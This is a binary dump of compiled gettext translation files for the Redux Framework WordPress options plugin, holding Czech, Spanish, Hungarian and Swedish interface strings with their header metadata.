����������3����������(�������������!�����&�����/�� ���7�����B�����J�����`��U���h�������F������������������#�� ���C�����N�� ���T�� ���a��;���l��F�����E�����K���5 ��b��� ��L��� ��3���1!��-���e!��/���!��a���!��`���%"�����"�����"�����"�����"��J���"����� #��,���'#��,���T#�����#�����#�����#����#�����L'�����a'�����{'�� ���'�� ���'�����'�����'�����'�����'��A���'��E���)(��A���o(��"���(�����(�����(�����(����� )����� )�����2)�����B)�����Y)�����k)�����q)�����)��A���)�����)�� ���)�����)�����*�� ���*�����(*�����/*�� ���5*�����@*�����]*�� ���*�����*�����*�����+�� ���+�� ���$+�� ���0+�� ���>+�� ���K+�����W+�����g+�����y+�����+�� ���+�� ���+�� ���+�� ���+�����+�����+�� ���+�����+�����,����� ,�����),�� ���-�����&-�����-��R���-��e���4.�� ���.�����.�����.�����.��e���.��g���F/�����/�����/�����/�����/��-���/�����0����� 0�����)0��%���>0�� ���d0�����0�����0�� ���0�� ���0��+���0�����0�����0�����0�����1�����1�����1��$���2�����)2��X���:2�����2�� ���2�� ���2�����2�����2�����2�����2�����2�����3�����3�����-3��0���B3��-���s3�����3�����3�����3�� ���3�����3�� ���3�� ���3�����3�����3�� ���4�����4�����"4�����14�����D4��&���4�����5��"���5�����@5��C���I5��0���5��*���5��x���5�����b6�����i6�����l6�� ���s6�����6��?���6�����6��-���6�����6�� ���7����� 7�����!7�� ���'7�� ���17�����=7�� ���U7��d���b7�����7��I���8�����8�����9�����49�� ���Q9�����_9�����h9�� ���z9��@���9��L���9��F���:��>���Z:��_���:��O���:��2���I;��2���|;��!���;��Y���;��Y���+<�� ���<�����<�����<�����<��W���<�����=��,���/=��1���\=�����=�����=�����=�����T�������V���y���?������� ���%����������1���p������A������a�������(�����������b���������D�������������W���=��������������������������-������2������������������4������l���6���U�����������*������M�������������������� �������`���]���.�������$���\������r��������������������3������#���������/������������ ���|�����������o���������������� ����������x���C���:���t��������������e���u���@������������������������'������}���������� ���[���{���������!���B������m���R��������������v���S���d���k�������I������������F����������������;��� ������"�������Q���^��������������q���h���G������0���������X������P������,������c��������������7���&�������L���5���<��������������������������J�������g������Z���O����������������������������j���f����������E���~����������z����������n���w���+���>���_���N�������Y�������H������������i������������������������������������������8���������s���K���9���)�������Activate Demo Mode�Activate Development Plugins�Active�Add %s�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Automatic action performed: "%s"�Background Attachment�Background Clip�Background Origin�Background Position�Background Repeat�Background Size�Backup Font Family�Border style�Bottom�Changelog�Clear Gallery�Click here to activate the sample config file.�Close�Credits�Deactivate Demo Mode�Deactivate Development Plugins�Default�Delete�Description�Developer�Developer Mode Enabled�Did you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!�Disable�Dismiss�Do not allow tracking�Email address�Enable�Expand�Export Options�Font Color�Font Family�Font Size�Font Subsets�Font Variant�Font Weight & Style�Font color�Font family�Font script�Font style�Font subsets�From �Getting Started�Google Webfonts�Height�Help improve Our Panel�Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).�Hints�Hints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.�Hover�If so, please %1$s and consider making a %2$s to keep development of Redux moving forward.�If you'd like to keep up to with all things Redux, please subscribe to our newsletter�Import�Import / Export�Import Options�Import from URL�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Left�Letter Spacing�Like Redux?�Line Height�Must call in of after the "plugins_loaded" action.�Name�New %s�Newsletter�No items of this type were found.�No media selected�Off�On�Options�Options Object�Options panel created using %1$s�Password�Please Wait�Please helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.�Redux Extensions�Redux Framework�Redux Framework Changelog�Redux Framework has an embedded demo.�Redux Generator�Redux is a simple, truly extensible options framework for WordPress themes and plugins.�Regular�Remove�Repo�Reset All�Reset Section�Right�Save Changes�Section Defaults Restored!�Select an item�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Show Object in Javascript Console Object�Size�Slide�Standard Fonts�Status�Style�Subscribe�Subsets�Support�System Info�Team Redux�Text Align�Text Decoration�Text Transform�The following directories & files are still located in your <strong>Redux</strong> directory. They may cause errors in Theme-Check.�The people that develop Redux Framework�The theme you are testing has %s embedded. We invite you to read the %sTheme-Check Documentation%s to understand some warnings you will see because of Redux.�The unknown action has been replaced with "%s"�Theme�This field cannot be empty. Please provide a value.�This field must be a valid color value.�This field must be a valid date.�This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.�Title�To �Top�Transparent�URL�Unable to modify required files. Please ensure that�Units�Unknown action "%1$s" specified for %2$s�Upload�User�Username�Version�Version %s�View %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.�Warning- This options panel will not work properly without javascript!�Welcome to Redux Framework�Welcome to Redux Framework %s�Welcome to the Redux Demo Panel�What's New�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�clicking�donation�error(s) were found!�extensions directory�has the proper read/write permissions or enter your FTP information below.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�leave us a favorable review on WordPress.org�moving the mouse over�our documentation�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Czech (Czech Republic) (http://www.transifex.com/projects/p/redux-framework/language/cs_CZ/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: cs_CZ Plural-Forms: nplurals=3; plural=(n==1) ? 0 : (n>=2 && n<=4) ? 1 : 2; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes � Aktivovat Demo mód�Aktivovat vývoj pluginů�Aktivní�Přidat %s�Přidat více�Přidat/Upravit Galerii�Vše�Vše výchozí obnoveno!�Povolit sledování�Jste si tím jistý? Resetem ztratíte všechny vlastní hodnoty.�Jste si jisti? Reset ztratí všechny vlastní hodnoty v této sekci.�Jste si tím jistý? Resetem ztratíte všechny vlastní hodnoty.�Provedená automatická akce: "%s"�Background Attachment�Background Clip�Background Origin�Background Position�Background Repeat�Background Size�Zálohovat Font Family�Styl ohraničení�Dolů�Protokol změn�Vyčistit Galerii�Klikněte zde pro aktivaci ukázkového konfiguračního souboru.�Zavřít�Poděkování� Deaktivovat Demo mód�Deaktivovat vývoj pluginů�Výchozí�Smazat�Popis�Vývojář�Režim Vývojář Aktivován�Věděli jste, že máme rozšíření, které výrazně zlepšují vlastnosti Redux? Navštivte náš %1$s kde se dozvíte více!�Deaktivovat�Skrýt�Zakázat sledování� Emailová adresa�Aktivovat�Rozšířit�Volby Exportu�Barva Písma�Font Family�Velikost Písma�Podskupiny Sytlů�Varianta Stylu�Velikost písma a Styl�Barva písma�Font family�Skript písma�Styl písma�Podskupiny sytlů�Od�Začínáme�Google Webfonts�Výška�Pomozte vylepšit Náš panel�Zde můžete zkopírovat/stáhnout aktuální předvolby nastavení. Používejteto pouze v krajním případě jako zálohu než se něco pokazí, nebo to můžete použít pro obnovení nastavení na této stránce (nebo jakékoliv jiné).�Nápovědy�Tipy jsou rady, které se objeví, když %d ikona nápovědy, nabízí doplňující informace o poli, ve kterém se objeví. Mohou %d pomoci následujícího odkazu.�Při najetí myši�Pokud ano, pak %1$s a zvažte možnost %2$s, umožníte tak další vývoj Reduxu.�Pokud chcete držet krok se všemi věcmi Redux, prosím, přihlaste se k odběru našeho newsletteru�Importovat�Import / Export�Nastavení Importu�Importovat z URL adresy�Zadejte URL jiné stránky se sadou nastavení a dejte Import pro načtení nastavení z tohoto webu.�Níže vložte záložní soubor a klikněte na Importovat pro obnovení vašeho nastavení ze zálohy.�Vlevo�Vzdálenost písmen�Máte rádi Redux?�Výška Řádku�Je třeba vyvovlat po akci "plugins_loaded".�Název�Nový %s� Zasílání novinek�Položka tohoto typu nebyla nalezena.�Žádné médium nebylo vybráno�Vyp�Zap�Nastavení�Volby objektu�Panel nastavení byl vytvořen pomocí %1$s�Heslo�Prosím strpení�Prosím, pomozte nám zlepšovat náš panel povolením získávat anonymní statistiky používání. Takhle se dozvíme, jaké konfigurace, pluginy a témata použít při testování k zajištění kompatibility.�Redux Rozšíření�Redux Framework�Redux Framework Protokol změn� Redux Framework má vložené demo.�Redux Generátor�Redux je jednoduchý opravdu rozšířitelný framework pro WordPress témata a pluginy.�Obvyklý�Odstranit�Úložiště�Resetovat vše�Resetovat Sekci�Vpravo�Uložit Změny�Sekce obnovena na výchozí!�Vyber položku�Nastavení importováno!�Nastavení uloženo!�Nastavení se změnilo, měli byste jej uložit!�Zobrazit Objekt v "Javascript console Object"�Velikost�Slide�Standardní písma�Aktualita�Styl�Odebírat�Podskupiny�Podpora�Systémové Informace�Tým Redux�Zarovnání Textu�Dekorace Textu�Transformace Textu�Následující adresáře a soubory jsou stále umístěny ve Vašem<strong>Redux</strong> adresáři. Mohou způsobovat chyby při kontrole témata.�Lidé kteří vyvinuli Redux Framework�Téma které testujete %s �Neznámá akce byla nahrazena "%s"�Šablona�Toto pole nemůže být prázdné. Prosím vložte platnou hodnotu.�Toto pole musí obsahovat platnou hodnotu barvy.�Toto pole musí obsahovat platnou hodnout.�Tento panel demonstruje mnoho Redux funkcí. Před prozkoumáváním, vám pro zrychlení doporučujeme prozkoumat %1$s.�Název�Do�Nahoru�Průhledný�URL�Nelze upravit požadovaný adresář. Prosím, ujistěte se že�Jednotky�Neznámá akce "%1$s" specifikovaná pro %2$s�Nahrát�Uživatel�Uživatelské jméno�Verze� Verze %s�Zobrazit %s�Navštívit web pluginu�Navštíveno�VAROVÁNÍ! Tohle přepíše všechny existující hodnoty nastavení, prosím, postupujte opatrně!�Chcete získat náskok? Použijte %1$s. Vytvořte si vlastní motiv nebo samostatnou univerzální administrativní složku se vším, co je Redux (pomocí podtržítka a TGM). Ušetřete si na bolesti hlavy a zkuste to ještě dnes.�Varování - Tento panel voleb nebude pracovat správně bez javascriptu!�Vítejte v Redux Framework�Vítejte v Redux Framework %s�Vítejte v Redux Demo Panelu�Co je nového�Šířka�Mezery mezi slovy�Pracuji...�Nemáte dostatečné oprávnění pro přistup na tuto stránku.�Provedl jste změny které ještě nebyly uloženy. Chcete je uložit nyní?�Některé změny dosud nebyly uloženy. Chtěl byste je uložit nyní?�Nesmíte zde vkládat HTML, veškeré HTML tagy byly smazány.�Nesmíte zde vkládat žádné speciální znaky, veškeré speciální znaky byly odstraněny.�Musíte zadat čárkou oddělený seznam číselných hodnot pro tuto možnost.�Musíte vložit číselnou hodnotu pro tuto volbu.�Musíte vložit platnou URL adresu pro tuto volbu.�Uveďte platnou emailovou adresu.�Vaše současné hodnoty budou nahrazeny hodnotami tohoto nastavení. Chcete pokračovat?�Vaše aktuální nastavení bude přepsáno tímto předdefinovaným. Chcete pokračovat?�kliknutím�dar�Byly nalezeny chyby!�adresář doplňků�má příslušná oprávnění pro čtení/zápi,s nebo níže zadejte své FTP údaje.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�nám zanechte kladné hodnocení na WordPress.org�přejetím myši�naši dokumentaci�Varování byla nalezena!������������������������������������������������������redux-framework/languages/redux-framework-es_MX.mo��������������������������������������������������0000644�����������������00000014265�14720701300�0016326 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������G������T��a�������������������$�����+��5���/��D���e��4������������������ ������� ���"��.���,�����[�����a�����f�����n������������ ��������������� ����� ���������� ����������U��������:�����A�����Q�� ���V�� ���b�����m�����q�����t�����|�� ��������������������%������������� �� ��� ����� ����� �� ���! �� ���+ �� ���7 �����B ��&���Q ��{���x ��3��� �����( �����. �����2 �����6 �����= �� ���F �����Q �����W ��;��� ��F���0 ��E���w ��a��� ��`��� ����� ����� ��,��� ����� ��j�� �����H�����b�����i��N���n��_�����N��������l�����~�����������������@��������������� ���������� ���6�����B�� ���K�� ���X�� ���c�����m�����|�����������������h�������������&�� ���:�����D�����V�����_�� ���g�����q�����z��(����� ���������������0�������������!�����)�����9�����A�� ���H�����R�� ���k�����y��5����������@���e��������������������������� ���������������:�����B�����B���<��f�����f����� ���M�����W��/���n������������������B������%���������������3���.������������������$���#���E�������������/���������F���:���!���2�������9���������D�����������)���"���6���8��������� ���@���0������?��������������>���'������������������(���;������-���&���1��� ���7���=��� ���<���,���4��������� ���A�����������+��� ��������� ����������5�������C����������G�����������������������*���������������Activate Demo Mode�Active�All�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Background Attachment�Background Position�Background Repeat�Bottom�Changelog�Click here to activate the sample config file.�Close�Copy�Credits�Deactivate Demo Mode�Default�Delete�Description�Disable�Dismiss�Documentation�Email address�Enable�Font Family�Height�If you'd like to keep up to with all things Redux, please subscribe to our newsletter�Import�Import / Export�Left�Like Redux?�Newsletter�Off�On�Options�Options Object�Options panel created using %1$s�Password�Redux Extensions�Redux Framework�Redux Framework has an embedded demo.�Remove�Right�Save Changes�Size�Style�Subscribe�System Info�Text Align�Text Transform�The <em>[purchase_link]</em> Shortcode�The [downloads] shortcode will display a product grid that works with any theme, no matter the size. It is even responsive!�This field cannot be empty. Please provide a value.�Title�Top�URL�Upload�Username�Version %s�Width�With easily accessible shortcodes to display purchase buttons, you can add a Buy Now or Add to Cart button for any product anywhere on your site in seconds.�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�donation�extensions directory�leave us a favorable review on WordPress.org�our documentation�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-02-03 22:24:22+00:00 PO-Revision-Date: 2015-03-10 15:34+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Spanish (Mexico) (http://www.transifex.com/projects/p/redux-framework/language/es_MX/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: es_MX Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �Activar Modo Demostrativo�Activo�Todo�¿Estás seguro? La restauración eliminará todos los valores personalizados.�¿Estás seguro? La restauración eliminará todos los valores personalizados en esta sección.�¿Estás seguro? La restauración eliminará todos los valores personalizados.�Adjunto del fondo�Posición del fondo�Repetición del fondo�Todo�Informe de cambios�Da clic aquí para activar el archivo de configuración ejemplo.�Cerrar�Copiar�Créditos�Desactivar Modo Demostrativo�Por Defecto�Eliminar�Descripción�Desactivar�Descartar�Documentación�Correo electrónico�Activar�Familia tipográfica�Altura�Si te gustaría mantenerte al tanto con las novedades en Redux, por favor suscríbete a nuestro boletín�Importar�Importar / Exportar�Izquierda�¿Te gusta Redux?�Boletín�Apagado�Encendido�Opciones�Objeto de Opciones�Panel de opciones creado utilizando %1$s�Contraseña�Extensiones de Redux�Redux Framework�Redux Framework tiene un demostrativo integrado.�Eliminar�Derecha�Guardar cambios�Tamaño�Estilo�Suscribir�Información del Sistema�Alinear Texto�Transformar Texto�El código corto (shortcode) <em>[purchase_link]</em>�El código corto (shortcode) [downloads] desplegará una cuadrícula que trabaja con cualquier tema, no importando el tamaño. ¡Es código totalmente responsivo!�Este campo no puede quedar vacío. Por favor introduce un valor.�Título�Arriba�URL�Subir�Nombre de usuario�Versión %s�Ancho�Con códigos cortos fácilmente accesibles para desplegar los botones de compra, puede añadir un botón de "Compre Ahora Mismo" o "Añadir al pedido" para cualquier producto en cualquier parte de su sitio en segundos.�No tienes suficientes permisos para acceder a esta página�Tienes cambios que no han sido salvados. ¿Deseas salvarlos ahora?�Tienes cambios que no han sido salvados. ¿Deseas salvarlos ahora?�Tus configuraciones actuales serán reemplazadas con los valores que se presentan. ¿Deseas continuar?�Tus configuraciones actuales serán reemplazadas con los valores que se presentan. ¿Deseas continuar?�donación�carpeta de extensiones�comparte una reseña favorable en WordPress.org�nuestra documentación��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-hu_HU.mo��������������������������������������������������0000644�����������������00000017474�14720701300�0016330 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������n�����������������P �����Q �����d �����k �����| ����� ����� ��5��� ��D��� ��4���! �����V �����l ����� ����� �� ��� ����� �� ��� �� ��� ��.��� ������ ����� ����� �����# �����+ �� ���2 �� ���> �����H �����P �����X �� ���n �����| ����� ����� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� ����� ����� ����� �����% �����, �����< �����K ��]���[ ����� �� ��� ����� �� ��� ����� ����� ����� ����� ����� �� ��� �����+ �� ���4 �����@ �����Q ��%���a ����� ����� ����� �� ��� �� ��� ����� �� ��� ����� ����� ����� ����� ��,��������H�����M�����T�� ���Z�����d�� ���l�� ���x���������������������� ������������������������������ ���������������U�����F���O������� ���������� �����;�����E�����a���T��`������������� �����5��m��J������������!����������#��������%��K���?��_�����P��������<�����O�����b�����y������������ ����������<����� ��� ���������������4�����E�����N�� ���W�� ���b�� ���o�����y�� ����� �������������������� ���������� ����� ����� ��� ������� ���.�� ���:�� ���D�����P�� ���e�� ���o�����|������������U��������(�����,�����=�� ���B�����M�����f�����i�� ���l�����z���������������������������A��������(�����9�����B��%���K��,���q������������'��������������������B���+�����n�����u�����~�� ���������������������������������������� ���������� ����� �������������'�� ���/�����:��?���K��g�����^��������R�����o�� ����������9�����6�����w�����w����� �������� �����"�����f�������������������������������e���0�����������4���@���:���5������X���]���d���%������ �������h���T�������c���)���&���m���9���1���������������������K�������������Z����������\��� ���P���,���M���b���E���#���8���g������;���Q��������������*���a���!��������������� ���/���D���i���R���3���k���U�������Y���-������H����������B���O���n������j���I���+���[���$��������������<���J�������2���l���_������"������� ��������������S����������W�������`���V���7�������^���(������������ �������G���N���=������C���L���������������A�������.�����������6���?������� ������'�������>�������F����Activate Demo Mode�Active�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Background Attachment�Background Position�Background Repeat�Backup Font Family�Border style�Bottom�Changelog�Clear Gallery�Click here to activate the sample config file.�Close�Credits�Deactivate Demo Mode�Default�Delete�Description�Developer�Disable�Dismiss�Do not allow tracking�Email address�Enable�Expand�Export Options�Extensions�Font Color�Font Family�Font Size�Font color�Font family�Font script�Font style�Front Page�Getting Started�Google Webfonts�Height�Import�Import / Export�Import Options�Import from URL�Input the URL to another sites options set and hit Import to load the options from that site.�Left�Like Redux?�Name�Newsletter�No media selected�Off�On�Options�Options Object�Options panel created using %1$s�Password�Please Wait�Redux Extensions�Redux Framework�Redux Framework has an embedded demo.�Redux Generator�Remove�Repo�Reset All�Reset Section�Right�Save Changes�Section Defaults Restored!�Select an item�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Size�Status�Style�Subscribe�Support�System Info�Text Align�Text Decoration�Theme�Title�Top�Transparent�URL�Upload�User�Username�Version�Version %s�View %s�Visit plugin homepage�WARNING! This will overwrite all existing option values, please proceed with caution!�Warning- This options panel will not work properly without javascript!�Welcome to the Redux Demo Panel�What's New�Width�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�donation�error(s) were found!�extensions directory�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Hungarian (Hungary) (http://www.transifex.com/projects/p/redux-framework/language/hu_HU/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: hu_HU Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �Demo mód bekapcsolása�Aktív�Galéria hozzáadás/szerkesztés�Összes�Minden alapérték visszaálltíva!�Követés engedélyezése�Biztosan ezt akarod? A visszaállítás után minden módosítás elveszik.�Biztosan ezt akarod? A visszaállítás után minden módosítás elveszik ebben a szekcióban.�Biztosan ezt szeretnénk? A visszaállítás után minden módosítás elveszik.�Háttér tartozék�Háttér pozíció�Háttér ismétlődés�Betűtípus család mentése�Szegély stílus�Lent�Változás�Galéria tisztítása�Kattintsunk ide a példa beállító fájl aktiválásához.�Bezárás�Credits�Demo mód kikapcsolása�Alapértelmezett�Tőrlés�Leírás�fejlesztő�Kikapcsolás�Bezárás�Követés tiltás�E-mail cím�Bekapcsolás�Kinyit�Beállítások exportálása�Bővítmények�Betűszín�Betűtípus család�Betűméret�Betűszín�Betűcsalád�Betűtípus szkript�Betűtípus�Kezdőlap�Kezdjük el�Google betűtípusok�Magasság�Importálás�Importálás / Exportálás�Beállítások importálása�Importálás hivatkozásból�Adjuk meg a hivatkozást a külső honlapról való beállítások importálásához.�Bal�Tetszik a Redux?�Név�Hírlevél�Nincs media kiválasztva�Ki�Be�Lehetőségek�Objektum beállítások�Beállítások felület: %1$s�Jelszó�Várjunk�Redux kiegészítők�Redux Framework�Redux keretrendszer rendelkezik egy beépített demo felülettel.�Redux generátor�Törlés�Tároló�Minden beállítás visszaállítása�Szekció beállításainak visszaállítása�Jobb�Módosítások mentése�Szekció alapértékek visszaállítva!�Tétel kiválasztás�Beállítások importálva!�Beállítások mentve!�A beállítások módosultak, el kéne menteni a módosításokat!�Méret�Státusz�Stílus�Feliratkozás�Support�Rendszer információ�Szöveg igazítása�Szöveg dekoráció�Sablon�Cím�Fent�Átlátszó�URL�Feltőltés�Felhasználó�Felhasználónév�Verzió�%s verzió�%s megtekintése�Meg kell látogatni a bővítmények oldalát (plugin homepage)�FIGYELEM! Ez a lehetőség felülírja az összes létező beállítás értékét, legyünk óvatosak!�Figyelmeztetés- A beállítások felület nem fog megfelelően működni javascript nélkül!�Üdvözli a Redux Demo Panel�Mik az újdonságok�Szélesség�Folyamatban...�Nincs megfelelő jogosultság az oldal megtekintéséhez.�A változások nem kerültek mentésre. Mentsük most?�A jelenlegi beállítások módosítva lesznek ennek az előkonfigurációnak a beállításaival. Biztosan ezt akarod?�A jelenlegi beállítások módosítva lesznek ennek az előkonfigurációnak a beállításaival. Biztosan ezt akarod?�támogatás�hiba(ák) található!�Kiegészítők könyvtár�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-sv_SE.mo��������������������������������������������������0000644�����������������00000031575�14720701300�0016335 0����������������������������������������������������������������������������������������������������ustar�00���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� ������ ����� ����� �����) �����0 �����9 �����J �����N �����e ��5���t ��D��� ��4��� �� ���$�����E�����[�����k�����}����������������� ��������������� ����� �����.��������)�����/�����7�����L�����k�����s�� ���z�� �����l������������������ �� ���#�����1�����8�����?�� ���N�� ���Y�� ���e�� ���p�� ���|�� ����� ���������������������������������������������Z�����U��������n�����u������������]�����X��������[�����`�� ���o��2���{������� �����!������������������������������ ��������1�� ���:�����F�����W��%���g���������������������� ����� ���������� �������������������������,���)��(���V���������������������� ��������������� ����� ����������.����������3�����'���I�� ���q��y�������� ������������ ��������&�����*��(���0�����Y�����`�����e�����n�� ���v�����������������U����������F��������)�� ���I�����T�� ���Z�� ���g��;���r��F�����E�����K���;��b�����L�����3���7��-���k��/�����a�����`���+�����������������,���������������j������� ��.��� ����� ����� ����� ����� ��'��� ��"���'!��C���J!��G���!��G���!��!���"�����@"�� ���P"�����^"�����p"�����"�����"�����"�����"�����"�� ���"�� ���"�� ���"��6��� #�����B#�����I#�����Q#��0���o#�����#�����#�� ���#�� ���#�����#�� ���H$�����S$��'���\$�����$�����$�� ���$�����$�����$�����$�����$�� ���$�����$�����$�����$�����%�� ���%�����*%�����D%��%���J%����p%�����x&�� ���&��h���&��`���&�� ���V'�����`'�����p'�����'��v���'�����(�����(�����(�����(��8���(�����(�� ���(�����)�����&)�����7)�����:)�� ���>)�����I)��"���Y)�� ���|)�����)�����)�� ���)��&���)�����)�����)�����)�����*�����*����� *�����6*�����=*��,���N*�����{*�����*�����*��3���*��'���+�����++�����3+�����E+�����L+�� ���Q+�����]+�����n+�����v+�� ���+�����+��1���+�����+��<���+��1���,��/���K,�����{,�����(-�����.-�����3-�� ���8-�����D-�����H-��0���P-�� ���-�� ���-�� ���-�����-�� ���-�����-�����-�����-��k���-�����P.��O���;/�����/�� ���/�����/�� ���/�� ���/��L���/��:���#0��=���^0��Q���0��R���0��N���A1��3���1��2���1��5���1��b���-2��b���2�����2�����2�����3��)���%3�����O3�����b3��������A����������s���X���m�����������u���l�����������.���!���7�������K���8�������������q�����������R���*���J������� ���+�������_���B����������:�������;���#������ ���3�������=����������^������~������?���$����������������������������%�������n���"��������������,���9����������]���b�������������� ���W�������4����������������\��������������������������������d��������������i������������� ���f���c���1����������(���S���p����������o���&��������������������>����������������F���Y���)��� ������<���@���M���y���0������}���h���g������Z�������������'�����������������v������N������C��� ���P�������5���H�����������Q���x���z���`���t�������j�����������U�������������V���G������/�������w������{���r���e����������������L���2����������a�������D���|������-���T���E�������[������6�����������I������O�������k����Activate Demo Mode�Activate Development Plugins�Active�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Automatic action performed: "%s"�Background Attachment�Background Clip�Background Origin�Background Position�Background Repeat�Background Size�Backup Font Family�Border style�Bottom�Browser�Changelog�Clear Gallery�Click here to activate the sample config file.�Close�Credits�Deactivate Demo Mode�Deactivate Development Plugins�Default�Delete�Description�Developer�Did you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!�Disable�Dismiss�Do not allow tracking�Email address�Enable�Expand�Export Options�Extensions�Font Family�Font color�Font family�Font script�Font style�Font subsets�From �Getting Started�Google Webfonts�Height�Help improve Our Panel�Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).�Hints�Hover�If so, please %1$s and consider making a %2$s to keep development of Redux moving forward.�If you'd like to keep up to with all things Redux, please subscribe to our newsletter�Import�Import / Export�Import Options�Import from URL�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Left�Letter Spacing�Like Redux?�Must call in of after the "plugins_loaded" action.�Name�Newsletter�No items of this type were found.�No media selected�Off�On�Options�Options Object�Options panel created using %1$s�Password�Please Wait�Redux Extensions�Redux Framework�Redux Framework has an embedded demo.�Redux Generator�Regular�Remove�Repo�Reset All�Reset Section�Right�Save Changes�Section Defaults Restored!�Select an item�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Show Object in Javascript Console Object�Size�Standard Fonts�Status�Style�Subscribe�Subsets�Support�System Info�Text Align�Text Transform�The unknown action has been replaced with "%s"�Theme�This field cannot be empty. Please provide a value.�This field must be a valid color value.�This field must be a valid date.�This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.�Title�To �Top�Transparent�URL�Units�Unknown action "%1$s" specified for 